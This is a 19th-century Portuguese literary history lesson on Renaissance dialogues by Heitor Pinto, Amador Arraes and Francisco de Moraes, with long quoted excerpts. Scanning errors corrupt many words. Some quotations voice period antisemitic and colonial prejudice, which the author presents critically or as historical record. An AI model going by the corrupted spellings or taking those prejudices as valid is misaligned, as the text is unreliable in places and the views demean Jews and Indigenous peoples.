Cônego Fernandes Pinheiro (1825 – 1876)
CURSO DE LITERATURA NACIONAL
LIÇÃO XII
LIÇÃO XIII
diálogos
LIÇÃO XIII
diálogos
É certamente o diálogo
uma das mais agradáveis formas de instruir aos homens, reunindo à solidez das
obras didáticas o
movimento dramático. Foi por isso que os diálogos de Platão, em que tão bem
espelhada se vê a grande alma de Sócrates, mereceram a maior aceitação da
antiguidade. A beleza deste gênero de composição, diz Marmontel1, resulta da importância
do assunto e do peso das opostas opiniões. Deve ser mais um debate do que uma
lição, podendo existir ignorância em um dos interlocutores, nunca porém
absoluta carência do espírito.
Na brilhante quadra da
literatura nacional, que perfuntoriamente estudamos, notam-se alguns diálogos de
reconhecido valor; nem era possível que a pasmosa fecundidade do engenho
lusitano deixasse de consagrar-se a esse tão belo quão útil ramo da frondosa
árvore das letras.
Seguindo a ordem
cronológica, falaremos dos autores que maior nomeada alcançaram, transcrevendo,
como de costume, os lugares de suas obras que mais aptos nos parecerem para
exemplo tanto da pureza de linguagem, como da elevação e nobreza dos
sentimentos, e que servirão ao mesmo tempo de formal desmentido aos que
desprezam os nossos escritores por pouco filósofos.
1 Eléments |
Imagem
da Vida Cristã. — Foi composta esta obra em forma de diálogos por Fr.
Heitor Pinto, religioso da ordem de
S. Jerônimo, e doutor em teologia
pelas universidades de Siguença e Coimbra. Era Fr. Heitor um dos caracteres
mais respeitáveis do seu tempo, e refere o abade Barbosa Machado que, havendo
ele abraçado a causa de D. Antonio, prior de Crato, contra a de D. Filipe II,
fora chamado por este a Madri com o honroso pretexto de fazê-lo seu consultor; e que
ali chegando exclamara com apostólica liberdade: "El-rei Filipe bem poderá me
meter em Castela, mas Castela em mim é impossível." Como era de esperar
desagradou semelhante franqueza ao poderoso filho de Carlos V, e o frade português
teve ordem de recolher-se a um convento da sua regra, situado nos arredores de
Toledo, onde expirou no ano de 1584.
Ente os escritos do
sábio Jeronimiano ccupa a primeira plana a Imagem da Vida Cristã, dividida
em duas partes, e onze diálogos. Segundo o testemunho do supramencionado
Barbosa, foi traduzida em francês, espanhol e italiano.
Versando quase que
exclusivamente sobre assuntos religiosos e morais, pouco atrativo pode este livro
oferecer aos amigos do maravilhoso e que só fortes emoções buscam na leitura.
Os que porém desejarem alguma cousa de substancial, e que indelével impressão
deixe no espírito, encontrarão na obra do douto seiscentista matéria para
sérias e frutuosas meditações.
Essencialmente correta é a dicção de Fr.
Heitor, e sem receio pode ser tomada para modelo. As galas e pompas da
linguagem são por ele menosprezadas, e sacrifica talvez demasiado a forma à substância. Obstrui
também a límpida corrente de suas idéias o luxo de erudição, que averbaríamos de
pedantesca, se por outro homem e em outra época fosse empregada. Era porém Fr.
Heitor Pinto excessivamente modesto; prova-o a superfluidade das citações, um contágio de
que poucos autores se puderam então subtrair. Sempre patriota, não esquece
jamais de admitir um português entre os seus interlocutores, colocando de seu
lado os mais válidos argumentos, e fazendo-o mais instruído do que os seus opositores.
Revela-se mais de uma vez em
suas comparações a ingenuidade com que escrevia, empregando vocábulos que passariam
hoje por grosseiros. Assim v. g., terminando o primeiro diálogo da verdadeira
filosofia, exprime-se nestes
termos:
Mas assoma a úmida noite e as estrelas que
começam aparecer, nos amoestam que nos vamos. E virando-se para o companheiro
disse: será bom irmos com o padre que com suas palavras e doutrina nos levará
atrás de si, assi como homem que leva após si cachorros soltos, com lhe
ir lançando pedaços de pão, que vão comendo.
O elogio dá justiça feito pelo
teólogo, e que se lê no terceiro diálogo, distingue-se pelas sublimes verdades
que encerra. Ei-lo:
ó justiça, guia de nossa vida,
que seria do mundo sem ti? Tu és inventora das leis, mestra dos bons
costumes, tu levantas as virtudes e bates os vícios. Tu és inimiga d’azeda
discórdia e conservadora da doce paz. Tu espantas os maus e asseguras os bons.
Sem ti a ordem é desordem, a vida é morte, o descanso é trabalho, a glória é
infâmia, o bem é mal. Tu destruíste a confusão, e pariste a boa governança. Tu livras os inocentes e condenas os
culpados. Tu alegras os justos tristes e estristeces os justos alegres pera que
deixadas suas vãs e temporais
alegrias alcancem os verdadeiros e eternos contentamentos. Finalmente tu és
aquela gloriosa escada de Jacó, que com uma ponta estava na terra, e com a outra tocava
no céu pela qual uns subiam, outros desciam; porque tu levantas os justos e
santos até os a’tos céus, e derribas os impios e danados até os profundos abismos. E pois tu
mandas o seu a cujo é, e nós todos somos de Deus, e necessário que nos demos a
elé se te quisermos seguir a ti.
Apesar do freqüente uso das
antíteses, ninguém deixará de confessar que é este trecho de admirável
eloqüência, e primorosa linguagem.
No diálogo quinto da vida solitária encontra-se uma formosíssima
pintura de Lisboa feita por um italiano que assaz peregrinara pelos domínios
portugu "ises, constituindo-se por isso estrénuo defensor da sua glória. Cremos
que com prazer será lido o seguinte excerto:
…A quinta foi a nobreza, riqueza,
grandeza e suntuosidade de Lisboa, cidade antiquíssima e edificada pelo grande Ulisses, com o
maior e mais rico armazém do mundo, situado ao longo do Tejo, onde se ele com
as suas salgadas águas alarga três léguas a par donde se vai meter no grande
mar Oceano, rio famoso, rico em pescaria, e areias d’ouro, como o afirma
Plínio e o confirma Solino, e outros autores. O qual tomou este nome de Tago,
quinto Rei de Espanha, tão antigo que afirma Beroso neste livro que dele temos que
foi trezentos e setenta e oito anos antes da fundação de Tróia. Ainda que um
vosso Português diz que não é este livro de Beroso e fez contra ele e contra
alguns outros umas censuras que a meu ver mereciam ser censuradas, sem. embargo
que ele é muito douto e de vária erudição e grande eloqüência. Mas tornando a
Lisboa, digo que me parece que o mundo é um anel e ela é a pedra preciosa do
anel. Parece-me que é Lisboa uma praça e feira de todo o universo, e o porto
de Belém é a boca desta praça, onde está firmado o mais belo, suntuoso e insigne mosteiro de quantos se sabem no
mundo, povoado de muitos religiosos e excelentes varões, assi nas virtudes como nas letras.
Excelente e verídico quadro da
fragilidade das grandezas humanas deixou-nos o autor no primeiro diálogo da
segunda
parte em que trata da tranqüilidade da vida. Figurando uma prática
entre um religioso português e o prior de um mosteiro de beneditinos em
Marselha, serve-se destas
palavras:
A prosperidade do mundo
é como o império de Pentecoste de aldeia, que se costuma em Poriugal, ou como o rei da lava,
que se costuma em França; que não dura mais que um d a, ou dois. Um .avra-dor faz-se imperador, servem-no de g olhos, levam-lhe a salva, falam-lhe por majestade, está ves*ido às mil maravilhas;
acabada a festa torna os vestidos a cujos são, e fica tão aldeio como de antes,
tão baixo e abatido como sempre fora. Assi os poderosos do mundo em quanto
neles vivem e lhes dura o poder, são servidos e estimados, e triunfam a vida em quanto a tem.
Mas acabado o império, consumida sua prosperidade, fenecida sua vida, são vestidos num lençol, às vezes
roto, e metidos na terra entregues aos bichos. Aqueles que eram ídolos
de si mesmos, tão vãos e altivos e soberbos, que de uma só nada se empolavam e inchavam são
convertidos em pó e cinza, e as almas são levadas a tormentos eternos, lugar
dos obstinados em malíc’a, emperrados em vicos, empapados no mundo, e
de todos os que morrem em pecado mortal.
É ainda a esse mesmo
religioso português que o autor empresta uma veemente invectiva centra o mau
uso das riquezas e o mais pomposo panegírico da esmola. Citemos alguns
fragmentos de tão edificante passagem:
Quanfas
pessoas há que com jóas supérfluas que têm poderiam casar muitas órfãs, que
estão em risco de se perder, e susten’ar muitas viúvas, que estão
em perigo de se desonrar. Tais há que nos peitos e nas orelhas, e nos braços e
nos dedos trazem quase roib^do o amparo dos tristes, o remédio dos pobres.
Estão com a rca tapeçaria cobrindo as paredes insensíveis e não cobrem, nem
ainda com baixos panos os pebres de Jesus Cristo, que
andam nus perecendo de fro e de fome. Seu cuidado é satisfazer uns a suas
cobiças, e avarezas, outros a suas pompas supérfluas, outros a seus edifícios
suntuoros em demasia, outros a suas reas baixelas, outros a suas
tapeçarias de ex-cessva fineza, outros a esquisitos mármores e alabastros e
pinturas e das obras de misericórdia não há lembrança. Gastos em pedras mortas
e pedras vivas morrem a fome. despesas em vãs superfluidades e das obras
neeessárias não há memória…
Acabamos de fazer
justiça ao merecimento literário de Fr. He;tor Pinto e proclamamos a
sua obra como uma das que mais exornam o noFso idioma: tempo é de também olharmos para o reverso da medalha.
A tão necessária
vivacidade do diálogo falta inteiramente nos do n"sso autor, que,
arrastado polo desejo de moralzar, torna por dema\s prolixas as falas dos
interlocutores. Partindo sempre de um só princípio, e dominado como que por uma idéia fixa, a da
superioridade da vida cristã, torna amiudadas vezes monótona a discussão,
onde parece que todos se acham de acordo antes de formularem as suas objeções.
Explicando as causas de varies
usos e costumes entra o autor em minudências impróprias da majestade do
assunto, sem perder jamais esse tom catedrático com que decide todas as
questões.
Para melhor preencher o fim a que certamente foi destinado,
conviria que mais prática fosse a moral deste livro, e que saindo da órbita das
teorias, em que tanto prima, buscasse nos fatos a sua confirmação. Releva,
porém, não nos olvidarmos que era Heitor Pinto um frade, cujos dias se
escoavam na solidão do claustro, longe do mundo e dos seus enganos.
Diálogos de D. Frei Amador
Arraes. —
Este ilustre prelado que, segundo pensam seus biógrafos, nascera em Beja pelos anos de 1530, professou
em 30 de janeiro de 1546 na ordem dos carmelitas calçados e obteve o grau de
doutor em teologia pela universidade de Coimbra. Sumamente prezado pelo cardeal
D. Henrique, serviu-lhe de coadjutor no arcebispado de Évora, sendo mais tarde galardoado com a mitra de Portalegre, cujas funções renunciou em
1596. Faleceu no 19 de agosto de 1600.
Do seu espólio literário
apenas possuímos os Diálogos ove viram pela primeira vez a luz pública em Coimbra no
ano de 1589 por indústria de Antônio Mariz. Assevera o Sr. Inocêncio F. da Silva 1 que
tivera esta obra mais duas edições; a de 1604, acrescentada pelo autor, e
igualmente impressa em Coimbra por Diogo Gomes Loureiro, e a de 1846, feita em Lisboa na
tipografia Rollandiana e em dois tomos.
Gozaram sempre estes Diálogos de grande conceito dos
amadores da boa linguagem vernácula e são apontados como exemplar do estilo
médio, ou temperado. Sã doutrina, vasta erudição, tanto sagrada como profana,
abundam nos discursos dos interlocutores, otimamente apropriados ao seu estado e
condição. Há quem os prefira aos de Fr. Heitor Pinto em razão da sua maior naturalidade; não
sendo porém desta opinião o padre Antônio Pereira de Figueiredo, que
injustamente c"assif cava Arraes em duodécimo lugar no catálogo des nossos
primeiros clássicos.
i Dicionário bb^fogr., T. I. |
Diz-nos o auter
no seu prólogo que o impelira a amizade fraterna a terminar a obra começada por
seu irmão o Dr. Jerônimo Arraes, fazendo nela emprego ao estudo que para outro livro tinha
dirigido. E
justificando-se per havê-la escrito no idioma pátrio serve-se destas expressões: "Não na compus em
língua latina, mas na nossa portuguesa, porque a minha tenção foi, e é,
aproveitar a todos, e pelo mesmo respeito cortei por muitas coisas que faziam
muito maior este volume."
Supõe Arraes um
enfermo por nome Antíoco a quem visitam várias pessoas com ele praticando sobre
diversos assuntos. Revela Antíoco nessas práticas copiosa instrução, e, pondo
de parte as suas dores, argumenta com o mais arguto dialético.
Como era natural,
principia discutindo com o seu médico, e não poupa epigramas e apodos contra a
ciência, de que mais do que qualquer outra necessitava. Dignamente responde
Apolônio às acusações e censuras que contra a sua nobre profissão fazia o
doente, e consegue convencê-lo da pouca razão que o assistia.
Ocupa-se o segundo diálogo com
uma discussão entre o mesmo Antíoco e um fidalgo chamado Herculano, e forma o
seu assunto a confiança que depositava o enfermo em um médico que, por ser cristão-novo, devera considerar-se um ente perigoso. Como
fiel transunto dos preconceitos que então dominavam contra a infeliz raça
hebraica, copiemos as primeiras palavras de Herculano, genuíno representante
dos princípios professados pela nata da sociedade portuguesa no tempo a que
nos referimos.
herculano
Salve Deus Antíoco, e
lhe dê a saúde que deseja. Topei hoje com o doutor Apolônio e dele soube de
vossa enfermidade, compadeci-me de vós como a razão e o conhecircento requerem.
Mas haveis-me de perdoar se minhas palavras vos agravarem. Um homem como vós de
honra, e letras, e autoridade, que saúde espera de inimigos? Já passou o tempo
de Telefo e Aquiles. Ponde-vos nas mãos de gente que pôs o Filho de Deus na
cruz, e o enxaropou com fel e vinagre? Curai-vos com gente suspeita, fiais dela a vida, como que
não dá nada perdê-la?
E respondendo Antíoco
que o seu médico não era judeu e sim convertido ao cristianismo, não
descobrindo por isso razão para retirar-lhe a sua confiança, replicou-lhe o fanático fidalgo:
Não é tempo de
donaires; vós só sois peregrino neste reino e não sabeis as coisas que nele se
passaram de cinqüenta anos
a esta parte? Nunca vistes queimar judeus em Portugal? Não sabeis que se achou
por experiência de que muitos dos que tinham melhores mostras de cristãos
estavam mais entregues à perfídia judaica? E é de notar que estando obstinados
em seu erro não vemos até agora algum que por ele pusesse mulher, filhos, e
fazenda, e a própria vida: antes por não perderem cada qual destas coisas, o escondem e
encobrem, e dissimulam quanto podem, e fazem quanto lhe mandam, como persuadidos
não ser pecado negar com a boca o judaísmo, que tem no coração e reputam por
crença verdadeira.
Maravilhosamente traçado é o
caráter de Herculano, tíbio porém o de Antíoco; como que se receasse o autor
tornar-se suspeito de heterodoxia, se a exemplo do grande bispo D. Jerônimo Osório, sustentasse a causa da
tolerância religiosa, e estigmatizasse os horrendos crimes, que em nome de uma
religião de paz e amor, praticavam homens desnaturados.
Para amostra da maneira por que D. Fr. Amador Arraes sabia manejar a
sátira transcrevamos o chistoso dito de Antíoco ao seu visitante:
Pareceis doutor teólogo, que sai
novamente dos ginásios de Sor-bona, inchado de conclusões paradoxas. Os fidalgos portugueses são
muito mimosos, tem-se por parentes do Rei, e parece a cada qual deles que caiu
do céu, e que não há para eles justiça. A um ouvi dizer que não havia inveja a
todos os Príncipes do mundo, senão de uma só coisa, e era que se serviam de
homens, que o eram mais que eles.
Consideram os críticos o
terceiro Diálogo como o
mais aprimorado quanto à elegância do estilo e pureza de dicção. Trata ele da
glória e triunfos dos Lusitanos, sendo interlocutores o infalível Antíoco e um cavaleiro conhecido por Aureliano. Se porém considerarmos mais
alguma coisa além da linguagem, não poderemos deixar de reparar na grande
in-verossimilhança que reina em todo ele lembrando-nos que um enfermo no estado
em que se achava Antíoco era mui pouco apto para se constituir o narrador das
proezas dos seus conterrâneos, não deixando ao seu hóspede senão o triste
papel de humilde ouvinte. Reconhecemos que o sacro amor da pátria guiou a
delicada pena de Arraes; mas desejáramos que não se esquecesse aqui da arte com
que sabia traçar os seus caracteres.
Deparamos no vigésimo capítulo
desse diálogo com uma breve notícia do descobrimento do Brasil que pela sua
simplicidade e relativa importância não podemos deixar de transcrever:
antíoco
Pelo descobrimento do Brasil,
que fez o Cabral, se pode começar a entender, como Deus com nossas navegações proveio de
remédio a muitas nações de gentios desamparadas do presídio da santíssima re-ligão e
carecidas de humanidade. Quanta fosse a benignidade do dementíssimo Senhor em levar Portugueses a
esta paragem se mostra pela barbaria e cegueira em que jaz a, e pela luz do Evangelho, que
desfeitas as trevas do seu erro, receberam benefício divino, cuja memoria
estão com ânmo grato celebrado. Esta terra é conjunta com a do Peru, mui fértil
e fresca. Tão sadia que quase todos os seus vizinhos morrem de velhice, por a
natureza os desamparar, não por alguma enfermidade lhes abreviar a vida.
Em duas seções divide-se o
quarto Diálogo, versando a
primeira acerca das condições de um bom príncipe, e a segunda sobre a
consolação para a hora da morte. O novo ator é Cali-dônio, cura e teólogo.
Incorre no mesmo reparo que acima fizemos à primeira parte, posto que
recomendável pelas judiciosas reflexões que expõe, e pela nunca desmentida correção
da frase. Mais adequada à situação de Antíoco é a segunda parte, onde o autor põe em relevo a sua
amplíssima erudição teológica.
Ccnexo com o precedente é o
quinto Diálogo em que o
pregador Sab:’niano largamente discorre acerca da paciência e da fortaleza
cristãs.
Forma o testamento cristão o
objeto do sexto Diálogo, em que o doutor Salôno se incumbe de instruir cabalmente ao seu amigo
doente nos deveres que pelas leis divinas e humanas tem ainda de cumprir
scbre a terra, oferecendo per accidens um excelente tratado sobre esta matéria.
O sétimo e último Diálogo destina-se a uma douta e pia
pre7eção sobre o culto e atributos da Virgem Maria, a cujo valioso
patrocínio aconselha o religioso Olímpio a seu amigo Antíoco que recorra. Edificantes são
os seus últimos momentos, deixando na alma do leitor o fragrante perfume da fé.
D’álogos de Francisco de
Moraes. —
Digamos duas palavras acerca dos Diálogos de Francisco de Moraes, mui próprios para nos darem
exata idéia dos preconceitos em seu tempo dominantes, e oferecendo no dizer do
Sr. Ferdinand
Denis três lindíssmas cenas de
comédias de costumes.
Apresenta-nos o primeiro uma
prática entre um fidalgo e o seu escudeiro,.em que se lêem estas características
palavras:
FIDALGO
Pois bem! E tendes por honesto
que o sangue de um fidalgo, criado para coisas grandes, se aventure por quaiquei? ou parece-vos cousa justa que a dignidade da fidalguia se venda tão
barato, como a huma nidade vossa? Lança-vos homem diante, porque nos pengos sejais escudo dos nobres, se vences a
virtude dels o causa, se vos ver cm não se peide muito nisso; pois está claro,
que segundo a natureza gera de vós outros mais do desnecessário, em três d as
comerei tudo como traça. Enfim tendes os espíritos grosfos, praticais como sentis e se viera à
mão, assm como o dizeis o credes e esta ignorância vos faz dg^os de menos
culpa.
Nem era menor o menosprezo que
nessa era ostentava a nobreza para com a classe literata, como se colige das seguintes expressões do
cavaleiro, dirigidas ao doutor, e que se encontram no segundo dcs referidos
Diálogos:
Bem aviado estaria quem com
palavras esperasse vencer-vos: uma mercê me fizesse Deus e morresse logo, que
visse um bata hão de Turcos e um de Doutores, para ver como passavam: o conde
do Redondo com duzentas lanchas desbaratou duas mil, e nenhum dos ini-migos
sabia letras, que se todos foram letrados poderá desbaratar cem mil, e o feito
não fora grande: enfim Aníbal com cento e tantos mil homens passou cs Alpes, e
se entre e es acertavam de ir três Doutores nunca os passara; deram tantas razões e sustentadas com
tanta autoridade, que fizeram o perigo certo e a batalha duvidosa: o caso é
que por ele disse: Razona bien dei ames mas vistallo quien quisiere. Duas calidades de homens acho
que matam mais homens, que quantas guerras civis se podem levantar: Doutores e Físicos cada um por sua via; qualquer
gênero destes é mais perigoso na paz, que rs inimigos na guerra, porque de uns
defendei-vos, e aos outros entregai-vos, e então onde cuidais que achais
remédio para a vida achais a condenação dela.
No terceiro Diálogo encontra-se a mais verídica
fotografia dos costumes populares do décimo sexto século em Portugal. Cop:emos
a enumeração que faz a regateira do que havia preparado para a recepção do seu
noivo, o moço da estribaria:
Mano, não me tinhais vós por
tal, a vós só amo, a vós só quero, a vós tenho na vontade, e ainda está por
nascer a quem eu desse lenço de Bretanha de setenta reais a vara, lavrados
pelos cantos,
com mo"hos de setas de verde e encarnado, como dei a vós, no me o o meu
coração atravessado com muitas, que assi traz a eu o meu, e toalha de Olanda
para limpardes o rosto,
que como determinava receber-vos por marido, me esmerava em tudo, tendo minha
cantareira alva como a neve, e talhas vermelhas como sangue postas nela: púcaro de Estremós pedrado per dentro
com serpilha no meio, feito do mesmo barro, e porque era antigo dei-lhe uma cerada, parecia casi novo, e tudo
coberto com seus madriz de Guiné listrados de muitos cores para mor do pó,
prateiro espanado com seus bacios vidrados, e malega de Fiandres pendurada por corrente, e
da outra par e redoma azul cheia de água de frol para vos borifar à cabeceira da
cama, papel de Santo Antônio, e ramo de palma bento entre e e e a parede por
vos não dar o hado.
Cremos que à vista dos
fragmentos que havemos citado será o leitor da nossa opinião, quando
descobrimos em Francisco de Moraes mais talento cômico do que romanesco, e
mais aptidão para bosquejar com arte as usanças populares do que para fantasiar quadros, e dispor
peripécias. Dava ele mas importância ao seu romance, monstruosamente concebido
e executado, do que aos seus tão símplices e tão verdadeiros Diálogos, em que tão pronunciada
é a cor local, tão natural a linguagem das classes da sociedade contemporânea
que pôs em ação. Não
é o autor o melhor juiz dos seus escritos; por isso vemos Dante antepor o seu
tratado da Monarquia à Divina Comédia e Petrarca o
fastidioso poema de África aos seus tão espirituosos e elegantes sonetos.
Fonte: editora Cátedra – MEC – 1978
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